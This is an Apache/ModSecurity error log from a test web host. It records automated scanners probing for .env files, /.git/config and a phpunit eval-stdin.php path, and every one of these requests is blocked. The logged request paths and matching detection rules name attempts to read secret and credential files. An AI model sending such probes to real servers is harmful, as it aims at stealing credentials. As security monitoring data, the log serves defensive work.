[Tue Aug 05 16:41:48.564694 2025] [:error] [pid 1724073] [client 195.178.110.161:49066] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aJIYLD230dNCddo5vZBiAAAAAAA"]
[Tue Aug 05 16:41:48.774028 2025] [:error] [pid 1726075] [client 195.178.110.161:49076] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aJIYLLm09Q8iSoaueYPzdQAAAA4"]
[Tue Aug 05 16:41:48.774267 2025] [:error] [pid 1726075] [client 195.178.110.161:49076] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aJIYLLm09Q8iSoaueYPzdQAAAA4"]
[Tue Aug 05 16:41:48.774455 2025] [:error] [pid 1726075] [client 195.178.110.161:49076] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aJIYLLm09Q8iSoaueYPzdQAAAA4"]
[Tue Aug 05 16:41:49.045119 2025] [authz_core:error] [pid 1726070] [client 195.178.110.161:49090] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Tue Aug 05 16:41:49.341828 2025] [:error] [pid 1720188] [client 195.178.110.161:49102] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aJIYLds8dgxaRXXIlrrBEAAAAA0"]
[Tue Aug 05 16:41:49.342058 2025] [:error] [pid 1720188] [client 195.178.110.161:49102] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aJIYLds8dgxaRXXIlrrBEAAAAA0"]
[Tue Aug 05 16:41:49.342242 2025] [:error] [pid 1720188] [client 195.178.110.161:49102] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aJIYLds8dgxaRXXIlrrBEAAAAA0"]
[Tue Aug 05 16:41:51.004482 2025] [:error] [pid 1726073] [client 195.178.110.161:49178] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aJIYL608-z3pdAvx6sd_5AAAAAw"]
[Tue Aug 05 16:41:51.004737 2025] [:error] [pid 1726073] [client 195.178.110.161:49178] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aJIYL608-z3pdAvx6sd_5AAAAAw"]
[Tue Aug 05 16:41:51.004912 2025] [:error] [pid 1726073] [client 195.178.110.161:49178] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aJIYL608-z3pdAvx6sd_5AAAAAw"]
[Tue Aug 05 16:41:51.229070 2025] [:error] [pid 1726078] [client 195.178.110.161:49180] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aJIYL1BQnFYqR0JnCs2-MAAAABQ"]
[Tue Aug 05 16:41:51.229315 2025] [:error] [pid 1726078] [client 195.178.110.161:49180] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aJIYL1BQnFYqR0JnCs2-MAAAABQ"]
[Tue Aug 05 16:41:51.229496 2025] [:error] [pid 1726078] [client 195.178.110.161:49180] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aJIYL1BQnFYqR0JnCs2-MAAAABQ"]
[Tue Aug 05 16:41:51.462470 2025] [:error] [pid 1724073] [client 195.178.110.161:49192] [client 195.178.110.161] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aJIYLz230dNCddo5vZBiAQAAAAA"]
[Tue Aug 05 16:41:51.462707 2025] [:error] [pid 1724073] [client 195.178.110.161:49192] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aJIYLz230dNCddo5vZBiAQAAAAA"]
[Tue Aug 05 16:41:51.462882 2025] [:error] [pid 1724073] [client 195.178.110.161:49192] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aJIYLz230dNCddo5vZBiAQAAAAA"]
[Wed Aug 06 15:26:11.968282 2025] [:error] [pid 1739924] [client 111.90.148.238:54106] [client 111.90.148.238] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJNX84mCWHuyUG1nAP5z8wAAAAI"]
[Wed Aug 06 15:26:11.968573 2025] [:error] [pid 1739924] [client 111.90.148.238:54106] [client 111.90.148.238] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJNX84mCWHuyUG1nAP5z8wAAAAI"]
[Wed Aug 06 15:26:11.968790 2025] [:error] [pid 1739924] [client 111.90.148.238:54106] [client 111.90.148.238] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJNX84mCWHuyUG1nAP5z8wAAAAI"]
[Thu Aug 07 11:33:31.514666 2025] [:error] [pid 1766362] [client 18.224.192.118:33759] [client 18.224.192.118] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aJRy6_9BfKUIYRp6bkA9WAAAAAA"]
[Thu Aug 07 11:33:31.516332 2025] [:error] [pid 1766362] [client 18.224.192.118:33759] [client 18.224.192.118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aJRy6_9BfKUIYRp6bkA9WAAAAAA"]
[Thu Aug 07 11:33:31.516563 2025] [:error] [pid 1766362] [client 18.224.192.118:33759] [client 18.224.192.118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aJRy6_9BfKUIYRp6bkA9WAAAAAA"]
[Sat Aug 09 13:50:19.093113 2025] [:error] [pid 1817244] [client 31.220.40.210:56386] [client 31.220.40.210] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJc1-0bMdJfSDScUEX8yGQAAAAk"]
[Sat Aug 09 13:50:19.093428 2025] [:error] [pid 1817244] [client 31.220.40.210:56386] [client 31.220.40.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJc1-0bMdJfSDScUEX8yGQAAAAk"]
[Sat Aug 09 13:50:19.093597 2025] [:error] [pid 1817244] [client 31.220.40.210:56386] [client 31.220.40.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJc1-0bMdJfSDScUEX8yGQAAAAk"]
[Sun Aug 10 12:33:08.765119 2025] [:error] [pid 1839634] [client 194.233.85.142:50931] [client 194.233.85.142] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJh1ZOU3iGGrPw_-FnqHUwAAAAA"]
[Sun Aug 10 12:33:08.765361 2025] [:error] [pid 1839634] [client 194.233.85.142:50931] [client 194.233.85.142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJh1ZOU3iGGrPw_-FnqHUwAAAAA"]
[Sun Aug 10 12:33:08.765748 2025] [:error] [pid 1839634] [client 194.233.85.142:50931] [client 194.233.85.142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJh1ZOU3iGGrPw_-FnqHUwAAAAA"]
[Sun Aug 10 12:33:09.918426 2025] [authz_core:error] [pid 1839699] [client 194.233.85.142:50992] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[Sun Aug 10 17:14:29.320239 2025] [:error] [pid 1839635] [client 3.84.178.235:36208] [client 3.84.178.235] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJi3VSx-5mIg0IuZWjwbPAAAAAE"]
[Sun Aug 10 17:14:29.320533 2025] [:error] [pid 1839635] [client 3.84.178.235:36208] [client 3.84.178.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJi3VSx-5mIg0IuZWjwbPAAAAAE"]
[Sun Aug 10 17:14:29.320688 2025] [:error] [pid 1839635] [client 3.84.178.235:36208] [client 3.84.178.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aJi3VSx-5mIg0IuZWjwbPAAAAAE"]
[Wed Aug 13 08:00:07.766014 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJwp541gSXFj_jrv08srlgAAAAA"]
[Wed Aug 13 08:00:07.767860 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJwp541gSXFj_jrv08srlgAAAAA"]
[Wed Aug 13 08:00:07.768062 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aJwp541gSXFj_jrv08srlgAAAAA"]
[Wed Aug 13 08:00:07.792353 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aJwp541gSXFj_jrv08srlwAAAAA"]
[Wed Aug 13 08:00:07.792659 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aJwp541gSXFj_jrv08srlwAAAAA"]
[Wed Aug 13 08:00:07.792871 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aJwp541gSXFj_jrv08srlwAAAAA"]
[Wed Aug 13 08:00:07.815609 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aJwp541gSXFj_jrv08srmAAAAAA"]
[Wed Aug 13 08:00:07.815860 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aJwp541gSXFj_jrv08srmAAAAAA"]
[Wed Aug 13 08:00:07.816058 2025] [:error] [pid 1915759] [client 185.177.72.12:29546] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aJwp541gSXFj_jrv08srmAAAAAA"]
